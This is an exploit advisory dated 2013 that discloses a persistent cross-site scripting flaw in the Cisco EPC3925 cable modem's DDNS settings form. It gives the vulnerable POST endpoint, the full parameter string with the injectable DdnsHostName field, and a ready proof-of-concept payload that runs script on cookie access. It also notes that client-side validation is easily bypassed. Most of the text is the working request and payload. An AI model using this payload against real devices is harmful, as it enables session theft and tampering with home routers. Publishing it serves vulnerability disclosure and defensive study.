Cisco EPC3925 – Persistent Cross Site Scripting

#######################################################################

# Exploit Title: Cisco EPC3925 - Persistent Cross Site Scripting 

# Google Dork: N/A 

# Date: 12-11-2013 

# Exploit Author: Jeroen - IT Nerdbox 

# Vendor Homepage: http://www.cisco.com 

# Software Link: Not public 

# Version: epc3925-E10-5-v302r125572-130520c 

# Tested on: Cisco EPC3925 

# CVE: N/A

#######################################################################

# Description

# The parameter DdnsHostName is vulnerable to Persistent Cross Site Scripting. 

# However, there is client side input validation, which can easily be bypassed.

#

# Location:

#

# POST http://[target]/goform/Setup_DDNS 

# 

# Parameters:

#

#DdnsService=0&DdnsUserName=xxx&DdnsPassword=****&DdnsHostName=<Enter Payload Here>&save=Save+Settings 

# 

# Payload 

# 

# PoC: "><input onmouseover=prompt(document.cookie)>

#

# Check out the video at: http://www.nerdbox.it/cisco-epc3925-persistent-xss/